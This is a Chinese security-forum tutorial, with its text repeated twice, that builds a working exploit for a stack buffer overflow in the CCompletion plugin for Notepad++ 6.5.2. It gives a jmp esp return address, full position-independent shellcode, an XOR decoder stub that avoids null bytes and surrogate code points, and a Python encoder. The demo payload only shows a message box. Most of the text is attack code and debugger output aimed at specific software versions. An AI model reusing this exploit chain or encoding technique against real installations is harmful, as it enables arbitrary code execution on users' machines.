标 题:
经典栈溢出利用详解一例—Notepad++插件CCompletion
时 间: 2014-02-23,21:08:51
回顾
上篇文章介绍了Noetpad++程序中的一个插件CCompletion存在的一个因使用不安全的lstrcpyW函数拷贝字符串造成的栈溢出漏洞,并且确定了漏洞的大致利用入口,已经找到了可控EIP数据在整个输入数据中的精确位置,但是如果要写出可以利用的Shell Code还需是需要费一番功夫去调试和修正的。这篇文章就按照前面所说的那个漏洞的利用入口来详细的介绍一个可用Shell Code的构造过程。
Shell Code框架构造
首先要回想一下我们已知的漏洞情况,还记得可控EIP的精确位置么?
我们构造的数据的0x00000430个字节处的一个DWORD值就是我们可控EIP的值。
这里利用一个简单的数据布局图来说明一下:
P1:静态数据布局
上图中整个数据块就是我们将要输入到Notepad中的数据,其中在偏移0x430处的一个四字节DWORD值在漏洞触发时候将会被程序通过ret指令取出来弹入EIP寄存器,这时候程序流程就会转向到EIP的值,而ESP的值会变成内存中对应于0x00000434处偏移的栈地址,然后程序会从0xXXXXXXXX处开始执行。
知道这个过程之后我们就可以开始构建Shell Code的框架了。首先考虑一点上图中0xXXXXXXXX值我们应该设置为什么值?这个是一般栈溢出利用的一个敲门砖,非常重要,我们的目的是让程序的执行流程进入我们构造的Shell Code并且正确执行,所以很容易想到,这个值就直接设置成我们的Shell Code所在的地址不就行了么,比如把Shell code的真正内容防止在上图中的0x00000434处开始,然后直接把EipValue设置成0x00000434,这个错误就太明显了……因为栈的内存地址并不一定是永远不变的,虽然有些程序每次运行的时候栈地址都相同,所以我们写Shell Code的时候应该尽量避免这种于Shell Code自身地址的HardCode。所以我们应该像一个更好的方法来让程序流程进入我们的ShellCode中。稍微学习过这方面的知识的同学应该都知道jmp esp方法,这种方法相对HardCode EIP值的方法确实优雅了不少。这种方法可以用下图来展示:
P2:通过JMP ESP方法跳转
上图应该很清楚的说明了JMP ESP的用法了,所以我们要做的就是在偏移0x430处放置一个地址,这个地址所指向的内存中存在一条jmp esp指令,那这个地址放什么?一般的做法是在系统自带的且进程必须的几个dll中搜索出包含这条指令的地址,比如Kernle32.dll,ntdll.dll等。比如我们可以在Kernel32.dll中搜索:
这样我们就得到了一个内存地址0x76ce8bd5,我们可以用这个地址填入之前的Shell Code之前的EipValue中。但是这种方法有两个依赖:
1. kernel32.dll在内存中的地址固定
2. jmp esp这个指令在kernel32.dll中的偏移固定,就是需要该模块固定,没有引入代码增删的修改。
仔细想一想这两个条件都是很难保证的,首先kernel32.dll这个模块在早期的操作系统中没有大范围开启ASLR缓解方案的时候可以保证,但是现在只要是windows vista和以上的系统一般都开启了ASLR,每次重新开机之后Kernel32.dll在进程中的基址都会发生改变,所以我们就不能保证写一次Shell Code可以在同一台机器上正常执行。第二条,如果是不同的操作系统,那么kernel32.dll这个模块本身就有二进制级别的差异,所以在一个系统中这个偏移内是jmp esp,换一个系统之后由于kernel32.dll模块不一样,就导致这个地址内不是jmp esp指令。对于系统模块,ASLR的作用是保证每次启动系统的时候模块地址都是随机加载的,对于进程模块而言,ASLR的作用是保证每次程序重新启动的时候模块加载机制都是随机的。
所以要想找到一个合适的jmp esp作为跳板:
1. 尽量避开操作系统本身的模块,以求系统版本独立性
2. 必须找到一个没有开启ASLR特性,并且加载地址固定的模块
按照上面的要求,应该最先想到的就是进程的EXE模块,因为这个模块在没有开启ASLR特性的时候一定是加载到0x00400000处的,如果成功找的话那这个jmp esp跳板就只跟存在漏洞的目标程序版本相关,跟系统版本无关了。很幸运,Noetpad++.exe这个模块并没有开启ASLR特性,所以这个模块每次程序启动的时候加载地址都是固定的。所以我们在Notepad++.exe模块中查找一下jmp esp指令:
分析到这里,我们已经找到了必要数据来进行Shell Code的编写了,整个Shell Code的结构就按照上面的P2图所示的方法来构造,因为仅仅是用于学习所以Shell Code的功能非常简单,就是弹出一个Messagebox,该代码采用我的前一篇文章(
http://bbs.pediy.com/showthread.php?t=172496)中的已有的用于PE感染的Shell Code,该Shell Code的具体实现方法请参见之前的文章,这里主要说明一下如何把这个Shell Code应用于本文中的漏洞中。
首先编译Shell Code的汇编代码,我这里所有的汇编代码都是采用的FASM汇编引擎。
原始Shell Code:
经过编译之后打开查看二进制文件:
P3:未编码的Shell Code
这么多不堪入目的0x00,要知道我们的数据要进入栈是要通过lstrcpyW这个函数,所以我们的Shell Code必须按照UNICODE的编码方式来构造,如果我们的Shell Code中出现了0x0000这样的字符,那就被认为是WCHAR型的NULL结束符,所以后面的Shell Code就无法进入目标栈区了,所以这段Shell Code是无法直接使用的,必须经过变形,去除其中的0x00,两个连续的0x00不一定会引起截断,但是三个连续的0x00一定会引起截断。为了严格一点我们要求我们的Shell Code中不出现任何0x00。如何做?
Shell Code变形,其实类似加壳和脱壳一样,就是先把包含实际功能的Shell Code用一种算法编码一下,在这里我称之为Shell Code Payload,然后把payload塞到整个Shell Code中,在Shell Code中添加一段用于解码payload的代码,当Shell Code获取执行权限之后先把payload中的所有数据(代码)解码,最后在跳入到解码后的payload中执行,但是有一点,解码的代码编译后也不能包含截断字符。这样的话,我们就调整一下Shell Code的结构吧,在这里要清除Shell Code和真正的Payload之间的关系,通过上面的描述,之前的那段Shell Code代码现在就被我们当作Payload来使用了,所以我们需要再写一个包装Payload的外壳,之前的方法是Shell Code紧接着EipValue,现在调整一下之后的结构如下图所示:
P4:调整后的Shell Code结构
下面就要开始进行Shell Code变形的编码工作了,Payload的代码无需改变,只需要知道Payload的长度就行了。然后要选择一种变形的算法,一般采用异或算法,用Payload的每一个字节与一个因子factor做异或,生成一个不包含截断字符的Payload,然后在解码时再与那个因子factor做异或,这样就可以解码了。在这里我鉴于复杂度的考虑没有选择使用固定的因子来做异或,而是采用了每个字节与这个字节所在的偏移值进行异或,生成的Payload如下:
P5:编码之后的payload
下面就要开始编写payload的包装了,代码如下:
为了一次到位,代码中把所有的占位符都以及各包含进来了,编译完之后只需要把payload填充到代码中为payload预留的代码空间中就行了。
P6:生成的Shell Code框架
然后使用010Editor,把payload复制到payload的预留空间,保存此文件,利用此文件去触发漏洞,结果并没有我们预想的弹出我们期待的MessageBox。
第一轮修正:尴尬的UNICODE,去除Shell Code中无法编码的Unicode代理对(0xD800 ~0xDFFFF)
本以为我们的Shell Code已经可以正确运行了,但是结果却失败了,然后就跟踪调试,看一下到底是什么地方出了问题,最需要怀疑的就是我们的原始数据是否正确进入了程序,通过对比在解码前的内存数据和我们的Shell Code的二进制文件的数据发现,有几个地方的数据变了:
P7:Shell Code数据改变
统计之后发现存在如下关系,这个需要经验来判断了,如果你对字符串编码一无所知,对于这个问题基本上是无解了,所以漏洞挖掘和利用对一个人的综合技能要求相对较高。
对于这个问题,我最初只知道是因为编码转换的问题,但是发现他们都存在一个特征,上面所有的字节串转成一个WORD之后值都在0XD800之后,就这一个线索,然后拼接个关键字Unicode 0xD800去百度谷歌,最终在维基百科(
http://zh.wikipedia.org/wiki/UTF-16)上面找到了如下解释:
P8:Unicode中的陷阱码位
很不幸,我们的payload正好掉进了这些数据的陷阱中,windows在进行编码转换的时候遇到上述这些码位就直接编码错误了,然后就编码成了fd ff fd ff。所以我们还要改进算法,以求能避免出现位于0xD800~0xDFFF内的码位了。这里起先是采用了增加一个factor多进行一个异或,通过调整factor来找到符合要求的payload,但是后来意识到自己把简单问题复杂化了,所以就重新修改了算法,直接异或一个固定factor来编码,然后调整factor来寻找。
当然这个过程自然可以自动化,所以写个Python 脚本来做吧。
运行结果:
因子就确定为0x43,然后重新使用该因子来编码,之后就解决了这个UNICODE的编码陷阱问题。编码之后的Shell Code如下图所示:
P9:新算法编码之后的payload
因为我们改变了编码算法,所以对应的解码算法也要做修改,所以Shell Code的编码就要修改:
然后用生成的Shell Code去触发漏洞场景,结果还是悲剧的失败了,程序跑飞了,继续调试跟踪发现:
P10:Shell Code数据被位置原因修改。
位于整个Shell Code的偏移0x208处的一个WORD被修改为了00,那我们还要继续修正我们的Shell Code。
第二轮修正:不可抗拒力,填充Padding数据避免Shell Code被程序修改
为什么Shell Code的0x208处被修改为0x0000了呢?这个问题我们可以继续深究,但是也可以用别的方法绕过这的数据扰乱,方法就是把该偏移附近的代码修改为无用数据,利用占位的方式在这里进行padding。占位的时候可以根据精确定位只占用目标偏移的固定的字节的数据,但是为了节省时间(因为这个Shell Code的研究已经话费了5个小时的时间了,因为之前采用了一种复杂的异或方式,囧……),所以这里我们直接padding掉0x10个字节,具体的padding方法是跟踪代码,然后对照我们的payload的汇编源码,确定该偏移位于我们的payload代码的大概位置,经过定位之后确定padding的地方应该在如下代码位置:
这样修改payload之后重新编译,我们的payload代码就会增加了16个字节,所以shell Code的代码也要进行修改,因为Shell Code中有一个HardCode的值,那就是payload的长度,所以我们需要修改Shell Code代码中的一个常量:
修改改为:
经过如上修改,重新编译Payload和Shell Code,然后把payload复制到Shell Code中的占位区,然后用新的Shell Code去验证:
P11:EMET提示DEP保护
额,遇到了DEP保护,所以这里要说明我们的Shell Code并没有针对DEP等其他缓解方案进行绕过,所以我们关闭Notepad++.exe的DEP和EAF再来进行验证把。
P12:关闭DEP和EAF保护。
然后再来一遍:
P13:Windows7系统下的Shell Code成功执行。
然后换个系统,Windows XP SP3:
P14:Windows XP SP3下的Shell Code执行成功
补充说明:
Noetpad++.exe的版本:6.5.2的UNICODE版本
CCompletion插件的版本:1.19
还有很多细节问题本文没有深入的介绍,只能靠有兴趣的自己去实践一遍然后挖掘这些问题了。
时 间: 2014-02-23,21:08:51
回顾
上篇文章介绍了Noetpad++程序中的一个插件CCompletion存在的一个因使用不安全的lstrcpyW函数拷贝字符串造成的栈溢出漏洞,并且确定了漏洞的大致利用入口,已经找到了可控EIP数据在整个输入数据中的精确位置,但是如果要写出可以利用的Shell Code还需是需要费一番功夫去调试和修正的。这篇文章就按照前面所说的那个漏洞的利用入口来详细的介绍一个可用Shell Code的构造过程。
Shell Code框架构造
首先要回想一下我们已知的漏洞情况,还记得可控EIP的精确位置么?
我们构造的数据的0x00000430个字节处的一个DWORD值就是我们可控EIP的值。
这里利用一个简单的数据布局图来说明一下:
P1:静态数据布局
上图中整个数据块就是我们将要输入到Notepad中的数据,其中在偏移0x430处的一个四字节DWORD值在漏洞触发时候将会被程序通过ret指令取出来弹入EIP寄存器,这时候程序流程就会转向到EIP的值,而ESP的值会变成内存中对应于0x00000434处偏移的栈地址,然后程序会从0xXXXXXXXX处开始执行。
知道这个过程之后我们就可以开始构建Shell Code的框架了。首先考虑一点上图中0xXXXXXXXX值我们应该设置为什么值?这个是一般栈溢出利用的一个敲门砖,非常重要,我们的目的是让程序的执行流程进入我们构造的Shell Code并且正确执行,所以很容易想到,这个值就直接设置成我们的Shell Code所在的地址不就行了么,比如把Shell code的真正内容防止在上图中的0x00000434处开始,然后直接把EipValue设置成0x00000434,这个错误就太明显了……因为栈的内存地址并不一定是永远不变的,虽然有些程序每次运行的时候栈地址都相同,所以我们写Shell Code的时候应该尽量避免这种于Shell Code自身地址的HardCode。所以我们应该像一个更好的方法来让程序流程进入我们的ShellCode中。稍微学习过这方面的知识的同学应该都知道jmp esp方法,这种方法相对HardCode EIP值的方法确实优雅了不少。这种方法可以用下图来展示:
P2:通过JMP ESP方法跳转
上图应该很清楚的说明了JMP ESP的用法了,所以我们要做的就是在偏移0x430处放置一个地址,这个地址所指向的内存中存在一条jmp esp指令,那这个地址放什么?一般的做法是在系统自带的且进程必须的几个dll中搜索出包含这条指令的地址,比如Kernle32.dll,ntdll.dll等。比如我们可以在Kernel32.dll中搜索:
Code:
0:009> .effmach x86 Effective machine: x86 compatible (x86) 0:009:x86> lmvm kernel32 start end module name 76cc0000 76dd0000 KERNEL32 (pdb symbols) f:\ntsymbols\wkernel32.pdb\139CA12C1AB645F6A7F2DD1A098696692\wkernel32.pdb Loaded symbol image file: KERNEL32.dll Image path: KERNEL32.dll Image name: KERNEL32.dll Timestamp: Fri Aug 02 09:53:25 2013 (51FB1115) CheckSum: 00111A9F ImageSize: 00110000 ………………………………………………… 0:009:x86> s 76cc0000 L00110000 ff e4 76ce8bd5 ff e4 45 cd 76 89 b5 b8-fd ff ff 89 b5 bc fd ff ..E.v........... 0:009:x86> u 76ce8bd5 KERNEL32!BasepCheckCacheExcludeCustom+0x54: 76ce8bd5 ffe4 jmp esp 76ce8bd7 45 inc ebp ……………………………………………………………
1. kernel32.dll在内存中的地址固定
2. jmp esp这个指令在kernel32.dll中的偏移固定,就是需要该模块固定,没有引入代码增删的修改。
仔细想一想这两个条件都是很难保证的,首先kernel32.dll这个模块在早期的操作系统中没有大范围开启ASLR缓解方案的时候可以保证,但是现在只要是windows vista和以上的系统一般都开启了ASLR,每次重新开机之后Kernel32.dll在进程中的基址都会发生改变,所以我们就不能保证写一次Shell Code可以在同一台机器上正常执行。第二条,如果是不同的操作系统,那么kernel32.dll这个模块本身就有二进制级别的差异,所以在一个系统中这个偏移内是jmp esp,换一个系统之后由于kernel32.dll模块不一样,就导致这个地址内不是jmp esp指令。对于系统模块,ASLR的作用是保证每次启动系统的时候模块地址都是随机加载的,对于进程模块而言,ASLR的作用是保证每次程序重新启动的时候模块加载机制都是随机的。
所以要想找到一个合适的jmp esp作为跳板:
1. 尽量避开操作系统本身的模块,以求系统版本独立性
2. 必须找到一个没有开启ASLR特性,并且加载地址固定的模块
按照上面的要求,应该最先想到的就是进程的EXE模块,因为这个模块在没有开启ASLR特性的时候一定是加载到0x00400000处的,如果成功找的话那这个jmp esp跳板就只跟存在漏洞的目标程序版本相关,跟系统版本无关了。很幸运,Noetpad++.exe这个模块并没有开启ASLR特性,所以这个模块每次程序启动的时候加载地址都是固定的。所以我们在Notepad++.exe模块中查找一下jmp esp指令:
Code:
0:009:x86> lmvm notepad* start end module name 00400000 005c9000 notepad__ (deferred) Image path: F:\Program Files (x86)\NotePad++\notepad++.exe Image name: notepad++.exe Timestamp: Tue Dec 10 18:54:54 2013 (52A6F2FE) CheckSum: 0018B6E1 ImageSize: 001C9000 File version: 6.5.2.0 Product version: 6.5.2.0 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 1.0 App File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Don HO don.h@free.fr ProductName: Notepad++ InternalName: npp.exe OriginalFilename: Notepad++.exe ProductVersion: 6.52 FileVersion: 6.52 FileDescription: Notepad++ : a free (GNU) source code editor LegalCopyright: Copyleft 1998-2013 by Don HO 0:009:x86> s 00400000 L001C9000 ff e4 0044c4ed ff e4 ff ff 5f 5e c2 04-00 cc cc cc cc cc cc cc ...._^.......... 0051a88b ff e4 f9 4e 00 ff ff ff-ff ef f9 4e 00 00 00 00 ...N.......N.... …………………………………… 0:009:x86> u 0044c4ed notepad__+0x4c4ed: 0044c4ed ffe4 jmp esp ……………………………………
首先编译Shell Code的汇编代码,我这里所有的汇编代码都是采用的FASM汇编引擎。
原始Shell Code:
Code:
LoadLibraryExA_Digest equ 0xc0d83287 LoadLibraryA_Digest equ 0x0C917432 MessageBoxA_Digest equ 0x1E380A6A FreeLibrary_Digest equ 0x30BA7C8C use32 shellcode_start: push ebp ;// 保存栈帧 mov ebp, esp ;// 获取USER32.DLL的基址 call @f du "USER32.DLL",0 @@: call get_module_base test eax, eax jz ._shellcode_return push eax ;// [ebp-4] ;// 获取MessageBoxA的地址 push MessageBoxA_Digest push eax call get_proc_address_by_digest test eax, eax jz ._shellcode_return ;// Shell Code. Shion [Shel l_Co de._ Shio n000 call @f db "Back Door Opend!", 0 @@: pop edi call @f db 'HA...', 0 @@: pop esi push 00000040h push esi push edi push 0 call eax ._shellcode_return: leave jmp $ ;/************************************************************************/ ;/* some useful procs for shell code programming. ;/* tishion ;/************************************************************************/ use32 get_peb: mov eax, 30h mov eax, [fs:eax] ;// eax = ppeb ret ;/************************************************************************/ ;/* Get base address of module ;* tishion ;* 2013-05-26 13:45:20 ;* IN: ;* ebp+8 = moudule name null-terminate string [WCHAR] ;* ;* OUT: ;* eax = ntdll.base ;* #define _Wcsnicmp_Digest 0x548b2e5f ;/************************************************************************/ use32 get_module_base: push ebp mov ebp, esp call get_ntdll_base jz ._find_modulebase_done push 548b2e5fh ;// hash of _wcsnicmp push eax call get_proc_address_by_digest test eax, eax ;// _wcsnicmp jz ._find_modulebase_done push eax ;// [ebp-04h]_wcsnicmp call get_peb test eax, eax jz ._find_modulebase_done mov eax, [eax+0ch] ;// eax = pLdr pLdr:[PEB_LDR_DATA] mov esi, [eax+1ch] jmp ._compare_moudule_name ._find_modulebase_loop: mov esi, [esi] ;// esi = pLdr->InInitializationOrderModuleList ._compare_moudule_name: test esi, esi jz ._find_modulebase_done xor edi, edi mov di, word [esi+1ch] ;// length push edi push dword [esi+20h] ;// esi = pLdrDataTableEntry.DllBaseName.Buffer [WCHAR] push dword [ebp+08h] mov edi, [ebp-04h] call edi test eax, eax jnz ._find_modulebase_loop mov eax, [esi+08h] ;// eax = pLdrDataTableEntry.DllBase ._find_modulebase_done: leave ret 4 ;/************************************************************************/ ;/* Get base address of ntdll.dll module ;* tishion ;* 2013-05-26 13:45:20 ;* ;* OUT: ;* eax = ntdll.base ;/************************************************************************/ use32 get_ntdll_base: call get_peb test eax, eax jz ._find_ntdllbase_done mov eax, [eax+0ch] ;// eax = pLdr pLdr:[PEB_LDR_DATA] mov eax, [eax+1ch] ;// eax = pLdr->InInitializationOrderModuleList mov eax, [eax+08h] ;// eax = pLdrDataTableEntry.DllBase ._find_ntdllbase_done: ret ;/************************************************************************/ ;/* Get function name digest ;* tishion ;* 2013-05-26 13:45:20 ;* ;* IN: ;* esi = function name ;* OUT: ;* edx = digest ;/************************************************************************/ use32 get_ansi_string_digest: push eax xor edx, edx ._next_char: xor eax, eax lodsb test eax, eax jz ._done ror edx, 7 add edx, eax jmp ._next_char ._done: pop eax ret ;/************************************************************************/ ;/* Get function address by searching export table ;* tishion ;* 2013-05-26 13:50:13 ;* ;* IN: ;* [ebp+8] = module base ;* [ebp+0ch] = function name digest ;* OUT: ;* eax function address (null if failed) ;/************************************************************************/ use32 get_proc_address_by_digest: push ebp mov ebp, esp mov eax, [ebp+8] add eax, [eax+3ch] ;// eax = ImageNtHeader IMAGE_NT_HEADERS push eax ;// [ebp-04h] ;//add eax, 18h ;// eax = ImageOptionalHeader IMAGE_OPTIONAL_HEADER ;//add eax, 60h ;// eax = ImageExportDirectoryEntry IMAGE_DIRECTORY_ENTRY_EXPORT ;// 以上两行只是为了让程序流程清晰,为了减小代码长度,合并两条指令为一条,如下: add eax, 78h mov eax, [eax] ;// eax = RVA IMAGE_EXPORT_DIRECTORY add eax, [ebp+08h] ;// eax = ImageExportDirectory IMAGE_EXPORT_DIRECTORY mov ecx, eax mov eax, [ecx+20h] add eax, [ebp+08h] ;// eax = AddressOfNames push eax ;// [ebp-08h] 导出名称地址表 mov eax, [ecx+24h] add eax, [ebp+08h] ;// eax = AddressOfNameOrdinals push eax ;// [ebp-0ch] 导出序号表 mov eax, [ecx+1ch] add eax, [ebp+08h] ;// eax = AddressOfFunctions push eax ;// [ebp-10h] 导出RAV地址表 push dword [ecx+10h] ;// [ebp-14h]ordinals base push dword [ecx+14h] ;// [ebp-18h]NumberOfFunctions push dword [ecx+18h] ;// [ebp-1ch]NumberOfNames mov ecx, [ebp-1ch] mov ebx, ecx mov eax, [ebp-08h] ._find_func: mov edi, ebx sub edi, ecx mov esi, [eax+edi*4] test esi, esi ;// esi是否NULL loope ._find_func inc ecx add esi, [ebp+08h] call get_ansi_string_digest cmp edx, [ebp+0ch] loopne ._find_func ;// ecx 为目标函数在函数名数组中的index xor edx, edx mov eax, [ebp-0ch] mov dx, [eax+edi*2] cmp edx, [ebp-18h] jae ._return_null mov eax, [ebp-10h] ;// eax = AddressOfFunctions mov eax, [eax+edx*4] ;// edi = RVA地址数组的地址 edi+4*序号 即为 某一函数的RVA地址 add eax, [ebp+08h] jmp ._function_found_done ._return_null: xor eax, eax ._function_found_done: leave ret 8
P3:未编码的Shell Code
这么多不堪入目的0x00,要知道我们的数据要进入栈是要通过lstrcpyW这个函数,所以我们的Shell Code必须按照UNICODE的编码方式来构造,如果我们的Shell Code中出现了0x0000这样的字符,那就被认为是WCHAR型的NULL结束符,所以后面的Shell Code就无法进入目标栈区了,所以这段Shell Code是无法直接使用的,必须经过变形,去除其中的0x00,两个连续的0x00不一定会引起截断,但是三个连续的0x00一定会引起截断。为了严格一点我们要求我们的Shell Code中不出现任何0x00。如何做?
Shell Code变形,其实类似加壳和脱壳一样,就是先把包含实际功能的Shell Code用一种算法编码一下,在这里我称之为Shell Code Payload,然后把payload塞到整个Shell Code中,在Shell Code中添加一段用于解码payload的代码,当Shell Code获取执行权限之后先把payload中的所有数据(代码)解码,最后在跳入到解码后的payload中执行,但是有一点,解码的代码编译后也不能包含截断字符。这样的话,我们就调整一下Shell Code的结构吧,在这里要清除Shell Code和真正的Payload之间的关系,通过上面的描述,之前的那段Shell Code代码现在就被我们当作Payload来使用了,所以我们需要再写一个包装Payload的外壳,之前的方法是Shell Code紧接着EipValue,现在调整一下之后的结构如下图所示:
P4:调整后的Shell Code结构
下面就要开始进行Shell Code变形的编码工作了,Payload的代码无需改变,只需要知道Payload的长度就行了。然后要选择一种变形的算法,一般采用异或算法,用Payload的每一个字节与一个因子factor做异或,生成一个不包含截断字符的Payload,然后在解码时再与那个因子factor做异或,这样就可以解码了。在这里我鉴于复杂度的考虑没有选择使用固定的因子来做异或,而是采用了每个字节与这个字节所在的偏移值进行异或,生成的Payload如下:
P5:编码之后的payload
下面就要开始编写payload的包装了,代码如下:
Code:
TARGET_EIP_OFFSET equ 0x430 use32 db 0xff, 0xfe ;// Unicode bom org 0x0 times 0x80 du 'A' shellcode_start: ;// shellcode解变形 ;// 先让esp指向shellcode_start处 sub sp, (ESP_OFFSET - shellcode_start) ;// 注意不能用esp,否则第二操作数又会出现两个连续0x00 0x00 mov edi, esp ;// 寻址payload ;// 让edi指向payload_start add edi, (payload_start - shellcode_start) mov cx, 'PL' ;// payload的长度 .continue: mov al, byte [edi] xor al, cl mov byte [edi], al inc edi loopnzw .continue ;// 代码是从下面的ESP_OFFSET处跳转来的,并且ESP值未变, ;// 所以首先调整ESP的值到shellcode代码区之前32个字节处 ;// 否则shellcode执行中会破坏shellcode代码 sub esp, 0x20 payload_start: times (TARGET_EIP_OFFSET - payload_start) db 'P' ;// 为Payload预留的代码空间 payload_end: org TARGET_EIP_OFFSET ;// 调整对齐伪指令 dd 0x0044C4ED ;// 我们已知的JMP ESP指令的地址 ESP_OFFSET: jmp shellcode_start ;// 注意此时esp指向这里 ;// 多来点填充尾部 times 400 du 'E'
P6:生成的Shell Code框架
然后使用010Editor,把payload复制到payload的预留空间,保存此文件,利用此文件去触发漏洞,结果并没有我们预想的弹出我们期待的MessageBox。
第一轮修正:尴尬的UNICODE,去除Shell Code中无法编码的Unicode代理对(0xD800 ~0xDFFFF)
本以为我们的Shell Code已经可以正确运行了,但是结果却失败了,然后就跟踪调试,看一下到底是什么地方出了问题,最需要怀疑的就是我们的原始数据是否正确进入了程序,通过对比在解码前的内存数据和我们的Shell Code的二进制文件的数据发现,有几个地方的数据变了:
P7:Shell Code数据改变
统计之后发现存在如下关系,这个需要经验来判断了,如果你对字符串编码一无所知,对于这个问题基本上是无解了,所以漏洞挖掘和利用对一个人的综合技能要求相对较高。
Code:
37 DE FD FF FD FF 57 DE FD FF FD FF 54 DF FD FF FD FF 14 D8 FD FF FD FF 01 DB FD FF FD FF 72 DA FD FF FD FF CE DB FD FF FD FF D8 D9 FD FF FD FF
P8:Unicode中的陷阱码位
很不幸,我们的payload正好掉进了这些数据的陷阱中,windows在进行编码转换的时候遇到上述这些码位就直接编码错误了,然后就编码成了fd ff fd ff。所以我们还要改进算法,以求能避免出现位于0xD800~0xDFFF内的码位了。这里起先是采用了增加一个factor多进行一个异或,通过调整factor来找到符合要求的payload,但是后来意识到自己把简单问题复杂化了,所以就重新修改了算法,直接异或一个固定factor来编码,然后调整factor来寻找。
当然这个过程自然可以自动化,所以写个Python 脚本来做吧。
Code:
#!/usr/bin/env python #coding:utf-8 """ Author: tishion --<tishion#163.com> Purpose: Created: 2014/2/22 """ from struct import * def encode_sc(srcfn, dstfn, s=0): """ shell code变形方法: 把shell code中的每一个字节与该字节在整个单独的shell code中的 偏移值进行异或,然后再与一个salt做一次异或。 salt的存在主要是为了寻找一个满足各种要求的shell code变体 """ try: srcf = open(srcfn, 'rb') #shell code源文件 dstf = open(dstfn, 'wb') #变形后的目标文件 OneByte = Struct('B') srcstr = srcf.read() dststr = '' salt = s & 0xFF for i in range(0, len(srcstr)): srcbyte = OneByte.unpack(srcstr[i])[0] #dstbyte = (srcbyte ^ (i + salt)) & 0xFF #这种算法最终无法找到满足要求的变形结果 #dstbyte = (srcbyte ^ salt ^ i) & 0xFF #通过这中算法找到了满足的变形结果salt=0x20 dstbyte = (srcbyte ^ salt) & 0xFF # ############################################################## #判断条件,这里的代码用于判断生成的shell code是否符合某些要求 if ( (dstbyte == 0) or (((i % 2) != 0) and (dstbyte >= 0xD8) and (dstbyte <= 0xDF)) ): #print 'i=', i, 'dstbyte=', hex(dstbyte) srcf.close() dstf.close() return False ############################################################### dststr = dststr + OneByte.pack(dstbyte) print '[%d]0x%02x ==> 0x%02x' % (i, srcbyte, dstbyte) dstf.write(dststr) srcf.close() dstf.close() except Exception, e: print 'Exception:', e return False return True if __name__ == '__main__': srcfn = r'F:\Projects\Asm\FasmPro\notepad++_shellcode\patch-modify\payload.bin' dstfn = r'F:\Projects\Asm\FasmPro\notepad++_shellcode\patch-modify\payload.bin______' #encode_sc(srcfn, dstfn, 0x20) #exit() for i in range(2, 0xff): if encode_sc(srcfn, dstfn, i): print 'OK @salt =', hex(i) break else: print 'Failed @salt =', hex(i) pass
Code:
OK @salt = 0x43
P9:新算法编码之后的payload
因为我们改变了编码算法,所以对应的解码算法也要做修改,所以Shell Code的编码就要修改:
Code:
TARGET_EIP_OFFSET equ 0x430 PAYLOAD_ENCODE_SALT equ 0x43 PAYLOAD_LENGTH equ 0x154 use32 db 0xff, 0xfe org 0x0 times 0x80 du 'A' shellcode_start: ;// shellcode解变形 ;// 先让esp指向shellcode_start处 ;// 注意不能用esp,否则第二操作数又会出现两个连续0x00 0x00 sub sp, (ESP_OFFSET - shellcode_start) mov esi, esp ;// 寻址payload ;// 让esi指向payload_start add esi, (payload_start - shellcode_start) mov cx, PAYLOAD_LENGTH ;// payload的长度 .continue: mov al, byte [esi] xor al, PAYLOAD_ENCODE_SALT mov byte [esi], al inc esi loopnzw .continue nop ;// 代码是从下面的ESP_OFFSET处跳转来的,并且ESP值未变, ;// 所以首先调整ESP的值到shellcode代码区之前32个字节处 ;// 否则shellcode执行中会破坏shellcode代码 sub esp, 0x20 payload_start: times (TARGET_EIP_OFFSET - payload_start) db 'P' payload_end: org TARGET_EIP_OFFSET ;// 调整对齐伪指令 dd 0x0044C4ED ;// 我们已知的JMP ESP指令的地址 ESP_OFFSET: jmp shellcode_start ;// 注意此时esp指向这里 ;// 多来点填充尾部 times 400 du 'E'
然后用生成的Shell Code去触发漏洞场景,结果还是悲剧的失败了,程序跑飞了,继续调试跟踪发现:
P10:Shell Code数据被位置原因修改。
位于整个Shell Code的偏移0x208处的一个WORD被修改为了00,那我们还要继续修正我们的Shell Code。
第二轮修正:不可抗拒力,填充Padding数据避免Shell Code被程序修改
为什么Shell Code的0x208处被修改为0x0000了呢?这个问题我们可以继续深究,但是也可以用别的方法绕过这的数据扰乱,方法就是把该偏移附近的代码修改为无用数据,利用占位的方式在这里进行padding。占位的时候可以根据精确定位只占用目标偏移的固定的字节的数据,但是为了节省时间(因为这个Shell Code的研究已经话费了5个小时的时间了,因为之前采用了一种复杂的异或方式,囧……),所以这里我们直接padding掉0x10个字节,具体的padding方法是跟踪代码,然后对照我们的payload的汇编源码,确定该偏移位于我们的payload代码的大概位置,经过定位之后确定padding的地方应该在如下代码位置:
Code:
;/************************************************************************/ ;/* Get function name digest ;* tishion ;* 2013-05-26 13:45:20 ;* ;* IN: ;* esi = function name ;* OUT: ;* edx = digest ;/************************************************************************/ use32 get_ansi_string_digest: push eax xor edx, edx ._next_char: xor eax, eax lodsb test eax, eax jz ._done ror edx, 7 add edx, eax jmp ._next_char ._done: pop eax ret ;/************************************************************************/ ;/* Get function address by searching export table ;* tishion ;* 2013-05-26 13:50:13 ;* ;* IN: ;* [ebp+8] = module base ;* [ebp+0ch] = function name digest ;* OUT: ;* eax function address (null if failed) ;/************************************************************************/ use32 times 0x10 db 0x90 ;//在此处填充16个nop get_proc_address_by_digest: push ebp mov ebp, esp mov eax, [ebp+8] add eax, [eax+3ch] ;// eax = ImageNtHeader IMAGE_NT_HEADERS push eax ;// [ebp-04h]
Code:
PAYLOAD_LENGTH equ 0x154
Code:
PAYLOAD_LENGTH equ 0x164
P11:EMET提示DEP保护
额,遇到了DEP保护,所以这里要说明我们的Shell Code并没有针对DEP等其他缓解方案进行绕过,所以我们关闭Notepad++.exe的DEP和EAF再来进行验证把。
P12:关闭DEP和EAF保护。
然后再来一遍:
P13:Windows7系统下的Shell Code成功执行。
然后换个系统,Windows XP SP3:
P14:Windows XP SP3下的Shell Code执行成功
补充说明:
Noetpad++.exe的版本:6.5.2的UNICODE版本
CCompletion插件的版本:1.19
还有很多细节问题本文没有深入的介绍,只能靠有兴趣的自己去实践一遍然后挖掘这些问题了。